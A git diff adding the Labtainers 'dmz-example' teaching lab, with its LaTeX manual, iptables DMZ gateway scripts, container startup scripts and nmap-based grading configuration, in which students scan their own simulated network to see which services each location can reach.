+ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/docs/Makefile new file mode 100644 index 000000000..c9c1f44ed --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/docs/Makefile @@ -0,0 +1,8 @@ +dmz-example.pdf: dmz-example.tex header.tex + latex dmz-example + pdflatex -jobname=dmz-example dmz-example + pdflatex -jobname=dmz-example dmz-example + +clean: + rm -fr auto + rm -f dmz-example.aux dmz-example.log dmz-example.pdf dmz-example.dvi dmz-example.out diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/docs/dmz-example.jpg b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/docs/dmz-example.jpg new file mode 100644 index 000000000..79b05ecc6 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/docs/dmz-example.jpg differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/docs/dmz-example.odg b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/docs/dmz-example.odg new file mode 100755 index 000000000..573045b2f Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/docs/dmz-example.odg differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/docs/dmz-example.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/docs/dmz-example.tex new file mode 100644 index 000000000..3966a84ee --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/docs/dmz-example.tex @@ -0,0 +1,64 @@ +\input{header} +\begin{document} + +\begin{center} +{\LARGE DMZ Example} +\vspace{0.1in}\\ +\end{center} + +\copyrightnotice + +\section{Overview} +This lab illustrates a simple DMZ. +It is intended as an example network topology definition for +Labtainer exercises. + +\section{Lab Environment} +This lab runs in the Labtainer framework, +available at http://my.nps.edu/web/c3o/labtainers. +That site includes links to a pre-built virtual machine +that has Labtainers installed, however Labtainers can +be run on any Linux host that supports Docker containers. + +From your labtainer-student directory start the lab using: +\begin{verbatim} + labtainer dmz-example +\end{verbatim} +\noindent A link to this lab manual will be displayed. + +\section{Network Configuration} +This lab includes several networked computers as shown in Figure~\ref{fig:topology}. +Note however that your instance of the lab will have different IP addresses +for some of the components. +When the lab starts, you will get several virtual terminals, one connected to each +component. + +The DMZ is created using an inner gateway and an outer gateway. The former uses NAT to +hide internal network addresses. + +The outer gateway and the remote gateway each reach the Internet via an ISP with +address 198.18.0.1. The local site has a network address of 198.18.1.0/24. The remote +site has a network address of 203.0.113.0/24. + +\begin{figure}[htb] +\begin{center} +\includegraphics [width=0.8\textwidth,natwidth=621,natheight=403]{dmz-example.jpg} +\end{center} +\caption{Network topology for dmz-example lab} +\label{fig:topology} +\end{figure} + +\section{Lab Tasks} +Use nmap on various components within the lab to determine which services are visible from +different locations within the network topology. Review the iptables configurations as +defined in the /etc/rc.local scripts on the inner and outer gateways. + +\section{Submission} +After finishing the lab, go to the terminal on your Linux system that was used to start the lab and type: +\begin{verbatim} + stoplab dmz-example +\end{verbatim} +When you stop the lab, the system will display a path to the zipped lab results on your Linux system. Provide that file to +your instructor, e.g., via the Sakai site. + +\end{document} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/docs/header.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/docs/header.tex new file mode 100644 index 000000000..d81b557e1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/docs/header.tex @@ -0,0 +1,122 @@ +\documentclass[11pt]{article} + +\usepackage{times} +\usepackage{epsf} +\usepackage{epsfig} +\usepackage{amsmath, alltt, amssymb, xspace} +\usepackage{wrapfig} +\usepackage{fancyhdr} +\usepackage{url} +\usepackage{verbatim} +\usepackage{fancyvrb} +\usepackage{float} + +\usepackage{subfigure} +\usepackage{cite} +\usepackage{hyperref} +\hypersetup{% + pdfborder = {0 0 0} +} +\topmargin -0.50in % distance to headers +\oddsidemargin 0.0in +\evensidemargin 0.0in +\textwidth 6.5in +\textheight 8.9in + + +%\centerfigcaptionstrue + +%\def\baselinestretch{0.95} + + +\newcommand\discuss[1]{\{\textbf{Discuss:} \textit{#1}\}} +%\newcommand\todo[1]{\vspace{0.1in}\{\textbf{Todo:} \textit{#1}\}\vspace{0.1in}} +\newtheorem{problem}{Problem}[section] +%\newtheorem{theorem}{Theorem} +%\newtheorem{fact}{Fact} +\newtheorem{define}{Definition}[section] +%\newtheorem{analysis}{Analysis} +\newcommand\vspacenoindent{\vspace{0.1in} \noindent} + +%\newenvironment{proof}{\noindent {\bf Proof}.}{\hspace*{\fill}~\mbox{\rule[0pt]{1.3ex}{1.3ex}}} +%\newcommand\todo[1]{\vspace{0.1in}\{\textbf{Todo:} \textit{#1}\}\vspace{0.1in}} + +%\newcommand\reducespace{\vspace{-0.1in}} +% reduce the space between lines +%\def\baselinestretch{0.95} + +\newcommand{\fixmefn}[1]{ \footnote{\sf\ \ \fbox{FIXME} #1} } +\newcommand{\todo}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{TODO: #1}} +\vspace{0.1in} +} + +\newcommand{\mybox}[1]{ +\vspace{0.2in} +\noindent +\fbox{\parbox{6.5in}{#1}} +\vspace{0.1in} +} + + +\newcounter{question} +\setcounter{question}{1} + +\newcommand{\myquestion} {{\vspace{0.1in} \noindent \bf Question \arabic{question}:} \addtocounter{question}{1} \,} + +\newcommand{\myproblem} {{\noindent \bf Problem \arabic{question}:} \addtocounter{question}{1} \,} + + + +\newcommand{\copyrightnotice}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{ + This lab was developed for the Labtainer framework by the Naval Postgraduate + School, Center for Cybersecurity and Cyber Operations under National Science + Foundation Award No. 1438893. + This work is in the public domain, and cannot be copyrighted.}} +\vspace{0.1in} +} + + +\newcommand{\idea}[1]{ +\vspace{0.1in} +{\sf IDEA:\ \ \fbox{\parbox{5in}{#1}}} +\vspace{0.1in} +} + +\newcommand{\questionblock}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{#1}} +\vspace{0.1in} +} + + +\newcommand{\argmax}[1]{ +\begin{minipage}[t]{1.25cm}\parskip-1ex\begin{center} +argmax +#1 +\end{center}\end{minipage} +\; +} + +\newcommand{\bm}{\boldmath} +\newcommand {\bx} {\mbox{\boldmath $x$}} +\newcommand {\by} {\mbox{\boldmath $y$}} +\newcommand {\br} {\mbox{\boldmath $r$}} + + +\newcommand{\tstamp}{\today} +%\rfoot[\fancyplain{\tstamp} {\tstamp}] {\fancyplain{}{}} + +\pagestyle{fancy} +\lhead{\bfseries Labtainers} +\chead{} +\rhead{\small \thepage} +\lfoot{} +\cfoot{} +\rfoot{} + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/docs/read_first.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/docs/read_first.txt new file mode 100644 index 000000000..defc3058e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/docs/read_first.txt @@ -0,0 +1,6 @@ +The lab manual is at + file://LAB_DOCS/dmz-example.pdf + +You may open these by right clicking +and select "Open Link". + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/inner_gw/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/inner_gw/_bin/fixlocal.sh new file mode 100755 index 000000000..438e7ffb1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/inner_gw/_bin/fixlocal.sh @@ -0,0 +1,11 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +# + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/inner_gw/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/inner_gw/_system/etc/rc.local new file mode 100755 index 000000000..121dc67a1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/inner_gw/_system/etc/rc.local @@ -0,0 +1,46 @@ +#!/bin/bash +# +# Configure the inner gateway of a DMZ +# where 192.168.1.10 and 192.168.2.10 are internal LANs +# and 198.18.1.10 is connected to the external gateway +# with address 198.18.1.2 +# +# +/usr/bin/set_default_gw.sh 198.18.1.2 +# +# get ethernet device names for the three interfaces for use later +# +lan1=$(ifconfig | grep -B1 "inet addr:192.168.1.INNER_LAN1" | awk '$1!="inet" && $1!="--" {print $1}') +lan2=$(ifconfig | grep -B1 "inet addr:192.168.2.INNER_LAN2" | awk '$1!="inet" && $1!="--" {print $1}') +wan=$(ifconfig | grep -B1 "inet addr:198.18.1.INNER_DMZ" | awk '$1!="inet" && $1!="--" {print $1}') +# +# default drop +# +iptables --flush +iptables -t nat --flush +iptables --delete-chain +iptables -t nat --delete-chain + +iptables -P INPUT DROP +iptables -P OUTPUT DROP +iptables -P FORWARD DROP + +# +# Define NAT for traffic from LANs to the WAN +# +iptables --table nat -I POSTROUTING 1 --out-interface $wan -j MASQUERADE +iptables -A FORWARD --in-interface $lan1 -j ACCEPT +iptables -A FORWARD --in-interface $lan2 -j ACCEPT + +# allow incoming for established connections +iptables -A FORWARD -i $wan -o $lan1 -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT +iptables -A FORWARD -i $wan -o $lan2 -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT + +# +# restart the DNS forwarder (rely on DNS provided by ISP) +# +/etc/init.d/dnsmasq restart + +echo "nameserver 198.18.1.3" > /etc/resolv.conf +route del -host 172.17.0.1 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/inner_gw/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/inner_gw/_system/sbin/faux_init new file mode 100755 index 000000000..fff941aff --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/inner_gw/_system/sbin/faux_init @@ -0,0 +1,17 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start +/etc/init.d/dnsmasq start diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/instr_config/goals.config new file mode 100644 index 000000000..3143980f4 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/instr_config/goals.config @@ -0,0 +1,8 @@ +# goals.config +# +# Please see the Labtainer Lab Designer User Guide +remote_nmap_443 = time_during : _remote_nmap_443 : _iplog +remote_nmap_sql = time_during : _remote_nmap_sql : _iplog +local_nmap_443 = time_during : _local_nmap_443 : _iplog +local_nmap_sql = time_during : _local_nmap_sql : _iplog +remote_correct = boolean : ((remote_nmap_443 and_not remote_nmap_sql) and local_nmap_443 and local_nmap_sql) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/instr_config/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/instr_config/instructions.txt new file mode 100644 index 000000000..667cd20ad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/instr_config/instructions.txt @@ -0,0 +1 @@ +Lab-specific instructor notes. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/instr_config/pregrade.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/instr_config/pregrade.sh new file mode 100755 index 000000000..2d6b93ed2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/instr_config/pregrade.sh @@ -0,0 +1,40 @@ +#!/bin/bash +: <<'END' +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +END +# +# Script to run prior to grading a student's lab. It is intended +# for two potential purposes: +# 1) Create solution artifacts to campare against student artifacts; +# 2) Process student artifacts into a different form, e.g., extracting +# browser sqlite data as in the default instance of this file below. +# +# +# +homedir=$1 +# destdir includes the container +destdir=$2 +dbg=/tmp/pregrade.log +cd $homedir/$destdir +is_sqlite=`which sqlite3` +echo $is_sqlite +here=`pwd` +places=$here/.mozilla/firefox/*default/places.sqlite +for fname in $(ls $places 2> /dev/null); do + if [[ -f $fname ]]; then + outpath=$here/.local/result + outfile=$outpath/moz_places.txt + mkdir -p "$outpath" + sqlite3 "$fname" "SELECT moz_places.* FROM moz_places;" >"$outfile" + fi +done + +# +# Add other processing below. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/instr_config/results.config new file mode 100644 index 000000000..e1b1f3410 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/instr_config/results.config @@ -0,0 +1,8 @@ +# results.config +# +# Please see the Labtainer Lab Designer User Guide +_iplog = outer_gw:/var/log/ulog/syslogemu.log:rc.local : CONTAINS : IPTABLES DROPPED +_remote_nmap_443 = remote_ws:nmap.stdout : CONTAINS : 443/tcp open https +_remote_nmap_sql = remote_ws:nmap.stdout : CONTAINS : 3306/tcp open mysql +_local_nmap_443 = ws1:nmap.stdout : CONTAINS : 443/tcp open https +_local_nmap_sql = ws1:nmap.stdout : CONTAINS : 3306/tcp open mysql diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/isp/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/isp/_bin/fixlocal.sh new file mode 100755 index 000000000..1e0aa882d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/isp/_bin/fixlocal.sh @@ -0,0 +1,14 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +lan1=$(ifconfig | grep -B1 "inet addr:198.18.0.1" | awk '$1!="inet" && $1!="--" {print $1}') +wan=$(ifconfig | grep -B1 "inet addr:10.10.0.1" | awk '$1!="inet" && $1!="--" {print $1}') +sudo iptables --table nat -I POSTROUTING 1 --out-interface $wan -j MASQUERADE +sudo iptables --append FORWARD --in-interface $lan1 -j ACCEPT + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/isp/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/isp/_system/etc/rc.local new file mode 100755 index 000000000..035c0fd03 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/isp/_system/etc/rc.local @@ -0,0 +1,3 @@ +#!/bin/bash +route add -net 198.18.1.0 netmask 255.255.255.0 gw 198.18.0.2 +route add -net 203.0.113.0 netmask 255.255.255.0 gw 198.18.0.3 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/isp/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/isp/_system/sbin/faux_init new file mode 100755 index 000000000..36cc884b4 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/isp/_system/sbin/faux_init @@ -0,0 +1,17 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start +/etc/init.d/dnsmasq restart diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/outer_gw/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/outer_gw/_bin/fixlocal.sh new file mode 100755 index 000000000..b31c0018c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/outer_gw/_bin/fixlocal.sh @@ -0,0 +1,11 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +# outer gateway nameserver is the isp + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/outer_gw/_bin/treataslocal b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/outer_gw/_bin/treataslocal new file mode 100644 index 000000000..8c356cf5b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/outer_gw/_bin/treataslocal @@ -0,0 +1,2 @@ +nmap +rc.local diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/outer_gw/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/outer_gw/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/outer_gw/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/outer_gw/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/outer_gw/_system/etc/rc.local new file mode 100755 index 000000000..60860e3fa --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/outer_gw/_system/etc/rc.local @@ -0,0 +1,52 @@ +#!/bin/bash +# +# iptables for outer gateway, connected to ISP 198.18.0.1 +# +# Use ISP as default gateway +# +/usr/bin/set_default_gw.sh 198.18.0.1 +# +# reset iptables +# +iptables -P INPUT ACCEPT +iptables -P FORWARD ACCEPT +iptables -P OUTPUT ACCEPT +iptables -t nat -F +iptables -t mangle -F +iptables -F +iptables -X + +#flush +iptables -F +iptables -t nat -F +iptables -X +iptables -P FORWARD DROP +iptables -P INPUT DROP +iptables -P OUTPUT ACCEPT + +# anything leaving from inner gateway +iptables -A FORWARD -s 198.18.1.INNER_DMZ -j ACCEPT + +#Established +iptables -A FORWARD -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT +iptables -A OUTPUT -m conntrack --ctstate ESTABLISHED -j ACCEPT +#SSH traffic +iptables -A FORWARD -p tcp --dport 22 -j ACCEPT +#HTTP traffic +iptables -A FORWARD -p tcp -d 198.18.1.WEB_IP --dport 80 -j ACCEPT +iptables -A FORWARD -p tcp -d 198.18.1.WEB_IP --dport 443 -j ACCEPT +# DNS traffic +iptables -A INPUT -p udp -s 198.18.0.1 --sport 53 -j ACCEPT +iptables -A INPUT -p udp -s 198.18.1.3 --dport 53 -j ACCEPT + +# logging using user space logger ulog +iptables -A FORWARD -j NFLOG -m limit --limit 2/min --nflog-prefix "IPTABLES DROPPED" +iptables -A INPUT -j DROP +iptables -A FORWARD -j DROP + + +# restart dns forwarder +/etc/init.d/dnsmasq restart +echo "nameserver 198.18.0.1" > /etc/resolv.conf +route del -host 172.17.0.1 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/outer_gw/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/outer_gw/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/outer_gw/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/outer_gw/_system/etc/systemd/system/mynotify.service b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/outer_gw/_system/etc/systemd/system/mynotify.service new file mode 100755 index 000000000..7d3e027fc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/outer_gw/_system/etc/systemd/system/mynotify.service @@ -0,0 +1,8 @@ +[Unit] +Description=mynotify + +[Service] +ExecStart=/sbin/mynotify.py + 